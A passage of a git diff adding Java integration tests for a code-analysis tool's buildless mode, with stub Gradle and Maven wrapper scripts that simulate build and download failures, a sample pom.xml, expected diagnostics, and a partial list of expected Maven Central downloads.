+++ b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/src/main/java/com/example/App.java
@@ -0,0 +1,14 @@
+/*
+ * This Java source file was generated by the Gradle 'init' task.
+ */
+package com.example;
+
+public class App {
+    public String getGreeting() {
+        return "Hello world.";
+    }
+
+    public static void main(String[] args) {
+        System.out.println(new App().getGreeting());
+    }
+}
diff --git a/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/src/test/java/com/example/AppTest.java b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/src/test/java/com/example/AppTest.java
new file mode 100644
index 000000000000..813bc5e1a2ae
--- /dev/null
+++ b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/src/test/java/com/example/AppTest.java
@@ -0,0 +1,14 @@
+/*
+ * This Java source file was generated by the Gradle 'init' task.
+ */
+package com.example;
+
+import org.junit.Test;
+import static org.junit.Assert.*;
+
+public class AppTest {
+    @Test public void testAppHasAGreeting() {
+        App classUnderTest = new App();
+        assertNotNull("app should have a greeting", classUnderTest.getGreeting());
+    }
+}
diff --git a/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/test.py b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/test.py
new file mode 100644
index 000000000000..e59277f3ea36
--- /dev/null
+++ b/java/ql/integration-tests/java/gradle-sample-without-wrapper-or-gradle-buildless/test.py
@@ -0,0 +1,17 @@
+import tempfile
+import runs_on
+import pathlib
+
+
+# The version of gradle used doesn't work on java 17
+def test(codeql, use_java_11, java, environment):
+    gradle_override_dir = pathlib.Path(tempfile.mkdtemp())
+    if runs_on.windows:
+        (gradle_override_dir / "gradle.bat").write_text("@echo off\nexit /b 2\n")
+    else:
+        gradlepath = gradle_override_dir / "gradle"
+        gradlepath.write_text("#!/bin/bash\nexit 1\n")
+        gradlepath.chmod(0o0755)
+
+    environment.add_path(gradle_override_dir)
+    codeql.database.create(build_mode = "none")
diff --git a/java/ql/integration-tests/java/maven-download-failure/.gitattributes b/java/ql/integration-tests/java/maven-download-failure/.gitattributes
new file mode 100644
index 000000000000..36e4b9d7df91
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-download-failure/.gitattributes
@@ -0,0 +1,6 @@
+#
+# https://help.github.com/articles/dealing-with-line-endings/
+#
+# These are explicitly windows files and should use crlf
+*.bat           text eol=crlf
+*.cmd           text eol=crlf
diff --git a/java/ql/integration-tests/java/maven-download-failure/diagnostics.expected b/java/ql/integration-tests/java/maven-download-failure/diagnostics.expected
new file mode 100644
index 000000000000..daabe47a9e9f
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-download-failure/diagnostics.expected
@@ -0,0 +1,84 @@
+{
+  "markdownMessage": "Java analysis used build tool Maven to pick a JDK version and/or to recommend external dependencies.",
+  "severity": "unknown",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/using-build-tool-advice",
+    "name": "Java analysis used build tool Maven to pick a JDK version and/or to recommend external dependencies"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": false,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Java analysis used the system default JDK.",
+  "severity": "unknown",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/jdk-system-default",
+    "name": "Java analysis used the system default JDK"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": false,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Java analysis with build-mode 'none' completed.",
+  "severity": "unknown",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/complete",
+    "name": "Java analysis with build-mode 'none' completed"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": false,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Java was extracted with build-mode set to 'none'. This means that all Java source in the working directory will be scanned, with build tools such as Maven and Gradle only contributing information about external dependencies.",
+  "severity": "note",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/mode-active",
+    "name": "Java was extracted with build-mode set to 'none'"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": true,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "Reading the dependency graph from build files provided 2 classpath entries",
+  "severity": "unknown",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/depgraph-provided-by-maven",
+    "name": "Java analysis extracted precise dependency graph information from tool Maven"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": false,
+    "telemetry": true
+  }
+}
+{
+  "markdownMessage": "The maven-enforcer-plugin recommended a specific Maven version be used. Trying to download it failed; extraction will continue, but retrieving dependency information from Maven may fail if the system default version is incompatible with project build scripts. Consider checking if a firewall configuration or similar is preventing downloading the required version.",
+  "severity": "note",
+  "source": {
+    "extractorName": "java",
+    "id": "java/autobuilder/buildless/maven-download-failed",
+    "name": "Java analysis failed to download a Maven version recommended by the maven-enforcer-plugin"
+  },
+  "visibility": {
+    "cliSummaryTable": true,
+    "statusPage": true,
+    "telemetry": true
+  }
+}
diff --git a/java/ql/integration-tests/java/maven-download-failure/mvn b/java/ql/integration-tests/java/maven-download-failure/mvn
new file mode 100755
index 000000000000..83f2d832f240
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-download-failure/mvn
@@ -0,0 +1,10 @@
+#!/bin/bash
+
+>&2 echo "Running mvn wrapper script"
+
+if [ "$2" == "dependency:copy" ]; then
+  >&2 echo "Arguments ($@) look like a dependency:copy command; failing"
+  exit 1
+fi
+
+${REAL_MVN_PATH} "$@"
diff --git a/java/ql/integration-tests/java/maven-download-failure/mvn.cmd b/java/ql/integration-tests/java/maven-download-failure/mvn.cmd
new file mode 100755
index 000000000000..740817413368
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-download-failure/mvn.cmd
@@ -0,0 +1 @@
+@bash mvn %*
diff --git a/java/ql/integration-tests/java/maven-download-failure/pom.xml b/java/ql/integration-tests/java/maven-download-failure/pom.xml
new file mode 100644
index 000000000000..ca376ad5ba9d
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-download-failure/pom.xml
@@ -0,0 +1,133 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+  <modelVersion>4.0.0</modelVersion>
+
+  <groupId>com.example</groupId>
+  <artifactId>maven-sample</artifactId>
+  <version>1.0-SNAPSHOT</version>
+
+  <name>maven-sample</name>
+  <!-- FIXME change it to the project's website -->
+  <url>http://www.example.com</url>
+
+  <properties>
+    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+    <maven.compiler.source>1.7</maven.compiler.source>
+    <maven.compiler.target>1.7</maven.compiler.target>
+  </properties>
+
+  <dependencies>
+    <dependency>
+      <groupId>junit</groupId>
+      <artifactId>junit</artifactId>
+      <version>4.11</version>
+      <scope>test</scope>
+    </dependency>
+  </dependencies>
+
+  <build>
+    <plugins>
+      <plugin>
+        <artifactId>exec-maven-plugin</artifactId>
+        <groupId>org.codehaus.mojo</groupId>
+        <version>1.1.1</version>
+        <executions>
+          <execution>
+            <id>check-maven-version</id>
+            <phase>package</phase>
+            <goals>
+              <goal>java</goal>
+            </goals>
+          </execution>
+        </executions>
+        <configuration>
+          <mainClass>com.example.App</mainClass>
+        </configuration>
+      </plugin>
+      <plugin>
+        <groupId>com.diffplug.spotless</groupId>
+        <artifactId>spotless-maven-plugin</artifactId>
+        <version>2.19.1</version>
+        <executions>
+          <execution>
+            <goals>
+              <goal>check</goal>
+            </goals>
+            <phase>compile</phase>
+          </execution>
+        </executions>
+        <configuration>
+          <java>
+            <licenseHeader>
+              <content>/* FAIL ME */</content>
+            </licenseHeader>
+          </java>
+        </configuration>
+      </plugin>
+      <plugin>
+        <groupId>org.apache.maven.plugins</groupId>
+        <artifactId>maven-enforcer-plugin</artifactId>
+        <executions>
+          <execution>
+            <id>enforce-maven</id>
+            <goals>
+              <goal>enforce</goal>
+            </goals>
+            <configuration>
+              <rules>
+                <requireMavenVersion>
+                  <version>[3.1.1,)</version>
+                </requireMavenVersion>
+              </rules>
+            </configuration>
+          </execution>
+        </executions>
+      </plugin>
+    </plugins>
+    <pluginManagement>
+      <!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
+      <plugins>
+        <!-- clean lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#clean_Lifecycle -->
+        <plugin>
+          <artifactId>maven-clean-plugin</artifactId>
+          <version>3.1.0</version>
+        </plugin>
+        <!-- default lifecycle, jar packaging: see https://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_jar_packaging -->
+        <plugin>
+          <artifactId>maven-resources-plugin</artifactId>
+          <version>3.0.2</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-compiler-plugin</artifactId>
+          <version>3.8.0</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-surefire-plugin</artifactId>
+          <version>2.22.1</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-jar-plugin</artifactId>
+          <version>3.0.2</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-install-plugin</artifactId>
+          <version>2.5.2</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-deploy-plugin</artifactId>
+          <version>2.8.2</version>
+        </plugin>
+        <!-- site lifecycle, see https://maven.apache.org/ref/current/maven-core/lifecycles.html#site_Lifecycle -->
+        <plugin>
+          <artifactId>maven-site-plugin</artifactId>
+          <version>3.7.1</version>
+        </plugin>
+        <plugin>
+          <artifactId>maven-project-info-reports-plugin</artifactId>
+          <version>3.0.0</version>
+        </plugin>
+      </plugins>
+    </pluginManagement>
+  </build>
+</project>
diff --git a/java/ql/integration-tests/java/maven-download-failure/source_archive.expected b/java/ql/integration-tests/java/maven-download-failure/source_archive.expected
new file mode 100644
index 000000000000..0a86ff54645c
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-download-failure/source_archive.expected
@@ -0,0 +1,7 @@
+pom.xml
+src/main/java/com/example/App.java
+src/main/resources/my-app.properties
+src/main/resources/page.xml
+src/main/resources/struts.xml
+src/test/java/com/example/AppTest.java
+test-db/working/settings.xml
diff --git a/java/ql/integration-tests/java/maven-download-failure/src/main/java/com/example/App.java b/java/ql/integration-tests/java/maven-download-failure/src/main/java/com/example/App.java
new file mode 100644
index 000000000000..c9eec918587c
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-download-failure/src/main/java/com/example/App.java
@@ -0,0 +1,30 @@
+package com.example;
+
+import java.util.regex.Pattern;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+
+/**
+ * Hello world!
+ *
+ */
+public class App 
+{
+    public static void main( String[] args )
+    {
+        System.out.println( "Hello World!" );
+        String expectedVersion = System.getenv("EXPECT_MAVEN");
+        Path mavenHome = Paths.get(System.getProperty("maven.home")).normalize();
+        String observedVersion = mavenHome.getFileName().toString();
+        if (expectedVersion != null && !expectedVersion.equals(observedVersion)) {
+                System.err.println("Wrong maven version, expected '" + expectedVersion + "' but got '" + observedVersion + "'" + mavenHome);
+                System.exit(1);
+        }
+        String commandMatcher = System.getenv("EXPECT_COMMAND_REGEX");
+        String command = System.getProperty("sun.java.command");
+        if (commandMatcher != null && !Pattern.matches(commandMatcher, command)) {
+                System.err.println("Wrong command line, '" + command + "' does not match '" + commandMatcher + "'");
+                System.exit(1);
+        }
+    }
+}
diff --git a/java/ql/integration-tests/java/maven-download-failure/src/main/resources/my-app.properties b/java/ql/integration-tests/java/maven-download-failure/src/main/resources/my-app.properties
new file mode 100644
index 000000000000..e566b49a29a8
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-download-failure/src/main/resources/my-app.properties
@@ -0,0 +1 @@
+version=1.0
diff --git a/java/ql/integration-tests/java/maven-download-failure/src/main/resources/page.xml b/java/ql/integration-tests/java/maven-download-failure/src/main/resources/page.xml
new file mode 100644
index 000000000000..2bab459cb031
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-download-failure/src/main/resources/page.xml
@@ -0,0 +1,8 @@
+<html>
+<head>
+<title>A sample</title>
+</head>
+<body>
+<p>Hello world!</p>
+</body>
+</html>
diff --git a/java/ql/integration-tests/java/maven-download-failure/src/main/resources/struts.xml b/java/ql/integration-tests/java/maven-download-failure/src/main/resources/struts.xml
new file mode 100644
index 000000000000..73fc0c6b9cb6
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-download-failure/src/main/resources/struts.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<struts>
+This is a sample file
+</struts>
diff --git a/java/ql/integration-tests/java/maven-download-failure/src/test/java/com/example/AppTest.java b/java/ql/integration-tests/java/maven-download-failure/src/test/java/com/example/AppTest.java
new file mode 100644
index 000000000000..22a94ca6f01c
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-download-failure/src/test/java/com/example/AppTest.java
@@ -0,0 +1,20 @@
+package com.example;
+
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Test;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest 
+{
+    /**
+     * Rigorous Test :-)
+     */
+    @Test
+    public void shouldAnswerWithTrue()
+    {
+        assertTrue( true );
+    }
+}
diff --git a/java/ql/integration-tests/java/maven-download-failure/test.py b/java/ql/integration-tests/java/maven-download-failure/test.py
new file mode 100644
index 000000000000..a86d970e3fe0
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-download-failure/test.py
@@ -0,0 +1,14 @@
+import os
+import os.path
+import shutil
+
+def test(codeql, java, check_diagnostics):
+
+    # Avoid shutil resolving mvn to the wrapper script in the test dir:
+    os.environ["NoDefaultCurrentDirectoryInExePath"] = "0"
+    runenv = {
+        "PATH": os.path.realpath(os.path.dirname(__file__)) + os.pathsep + os.getenv("PATH"),
+        "REAL_MVN_PATH": shutil.which("mvn"),
+    }
+    del os.environ["NoDefaultCurrentDirectoryInExePath"]
+    codeql.database.create(build_mode = "none", _env = runenv)
diff --git a/java/ql/integration-tests/java/maven-enforcer-multiple-versions/maven-fetches.expected b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/maven-fetches.expected
new file mode 100644
index 000000000000..dab45b38bf7e
--- /dev/null
+++ b/java/ql/integration-tests/java/maven-enforcer-multiple-versions/maven-fetches.expected
@@ -0,0 +1,541 @@
+Downloaded from central: https://repo.maven.apache.org/maven2/avalon-framework/avalon-framework/4.1.3/avalon-framework-4.1.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/backport-util-concurrent/backport-util-concurrent/3.1/backport-util-concurrent-3.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/backport-util-concurrent/backport-util-concurrent/3.1/backport-util-concurrent-3.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/classworlds/classworlds/1.1-alpha-2/classworlds-1.1-alpha-2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/classworlds/classworlds/1.1/classworlds-1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/classworlds/classworlds/1.1/classworlds-1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/durian/durian-collect/1.2.0/durian-collect-1.2.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/durian/durian-collect/1.2.0/durian-collect-1.2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/durian/durian-core/1.2.0/durian-core-1.2.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/durian/durian-core/1.2.0/durian-core-1.2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-lib-extra/2.21.2/spotless-lib-extra-2.21.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-lib-extra/2.21.2/spotless-lib-extra-2.21.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-lib/2.21.2/spotless-lib-2.21.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-lib/2.21.2/spotless-lib-2.21.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-maven-plugin/2.19.1/spotless-maven-plugin-2.19.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/diffplug/spotless/spotless-maven-plugin/2.19.1/spotless-maven-plugin-2.19.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/github/luben/zstd-jni/1.5.5-11/zstd-jni-1.5.5-11.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/github/luben/zstd-jni/1.5.5-11/zstd-jni-1.5.5-11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/google/code/findbugs/jsr305/2.0.1/jsr305-2.0.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/google/code/findbugs/jsr305/2.0.1/jsr305-2.0.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/googlecode/concurrent-trees/concurrent-trees/2.6.1/concurrent-trees-2.6.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/googlecode/concurrent-trees/concurrent-trees/2.6.1/concurrent-trees-2.6.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/googlecode/javaewah/JavaEWAH/1.1.12/JavaEWAH-1.1.12.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/googlecode/javaewah/JavaEWAH/1.1.12/JavaEWAH-1.1.12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/thoughtworks/qdox/qdox/2.0-M8/qdox-2.0-M8.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/thoughtworks/qdox/qdox/2.0-M8/qdox-2.0-M8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/com/thoughtworks/qdox/qdox/2.0-M9/qdox-2.0-M9.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/com/thoughtworks/qdox/qdox/2.0-M9/qdox-2.0-M9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-beanutils/commons-beanutils/1.6/commons-beanutils-1.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-beanutils/commons-beanutils/1.7.0/commons-beanutils-1.7.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-beanutils/commons-beanutils/1.7.0/commons-beanutils-1.7.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-chain/commons-chain/1.1/commons-chain-1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-chain/commons-chain/1.1/commons-chain-1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-cli/commons-cli/1.0/commons-cli-1.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-cli/commons-cli/1.0/commons-cli-1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-codec/commons-codec/1.11/commons-codec-1.11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-codec/commons-codec/1.16.1/commons-codec-1.16.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-codec/commons-codec/1.16.1/commons-codec-1.16.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-codec/commons-codec/1.17.0/commons-codec-1.17.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-codec/commons-codec/1.17.0/commons-codec-1.17.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/2.0/commons-collections-2.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/2.1/commons-collections-2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-collections/commons-collections/3.2/commons-collections-3.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-digester/commons-digester/1.6/commons-digester-1.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-digester/commons-digester/1.8/commons-digester-1.8.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-digester/commons-digester/1.8/commons-digester-1.8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.11.0/commons-io-2.11.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.15.1/commons-io-2.15.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.15.1/commons-io-2.15.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.16.1/commons-io-2.16.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.16.1/commons-io-2.16.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.2/commons-io-2.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.4/commons-io-2.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.5/commons-io-2.5.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.5/commons-io-2.5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-io/commons-io/2.6/commons-io-2.6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-lang/commons-lang/2.4/commons-lang-2.4.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-lang/commons-lang/2.4/commons-lang-2.4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-logging/commons-logging/1.0.3/commons-logging-1.0.3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-logging/commons-logging/1.0/commons-logging-1.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-logging/commons-logging/1.1/commons-logging-1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/dom4j/dom4j/1.1/dom4j-1.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/dom4j/dom4j/1.1/dom4j-1.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/javax/inject/javax.inject/1/javax.inject-1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/javax/inject/javax.inject/1/javax.inject-1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/junit/junit/3.8.2/junit-3.8.2.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/junit/junit/4.11/junit-4.11.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/junit/junit/4.11/junit-4.11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/junit/junit/4.12/junit-4.12.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/junit/junit/4.12/junit-4.12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/log4j/log4j/1.2.12/log4j-1.2.12.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/logkit/logkit/1.0.1/logkit-1.0.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache-extras/beanshell/bsh/2.0b6/bsh-2.0b6.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache-extras/beanshell/bsh/2.0b6/bsh-2.0b6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/11/apache-11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/13/apache-13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/15/apache-15.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/16/apache-16.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/18/apache-18.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/19/apache-19.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/20/apache-20.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/21/apache-21.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/23/apache-23.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/25/apache-25.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/27/apache-27.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/29/apache-29.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/3/apache-3.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/30/apache-30.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/31/apache-31.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/32/apache-32.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/4/apache-4.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/5/apache-5.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/6/apache-6.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/7/apache-7.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/apache/9/apache-9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-compress/1.11/commons-compress-1.11.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-compress/1.11/commons-compress-1.11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-compress/1.26.1/commons-compress-1.26.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-compress/1.26.1/commons-compress-1.26.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-lang3/3.14.0/commons-lang3-3.14.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-lang3/3.14.0/commons-lang3-3.14.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-lang3/3.8.1/commons-lang3-3.8.1.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-lang3/3.8.1/commons-lang3-3.8.1.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/24/commons-parent-24.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/25/commons-parent-25.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/34/commons-parent-34.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/39/commons-parent-39.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/42/commons-parent-42.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/47/commons-parent-47.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/52/commons-parent-52.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/64/commons-parent-64.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/65/commons-parent-65.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/66/commons-parent-66.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/69/commons-parent-69.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-parent/9/commons-parent-9.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-text/1.12.0/commons-text-1.12.0.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/commons/commons-text/1.12.0/commons-text-1.12.0.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpclient/4.5.13/httpclient-4.5.13.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpclient/4.5.13/httpclient-4.5.13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcomponents-client/4.5.13/httpcomponents-client-4.5.13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcomponents-core/4.4.13/httpcomponents-core-4.4.13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcomponents-core/4.4.14/httpcomponents-core-4.4.14.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcomponents-parent/11/httpcomponents-parent-11.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcore/4.4.13/httpcore-4.4.13.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcore/4.4.14/httpcore-4.4.14.jar
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/httpcomponents/httpcore/4.4.14/httpcore-4.4.14.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.8/apache-maven-3.8.8-bin.zip
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.8/apache-maven-3.8.8.pom
+Downloaded from central: https://repo.maven.apache.org/maven2/org/apache/maven/doxia/doxia-core/1.11.1/doxia-core-1.11.1.jar
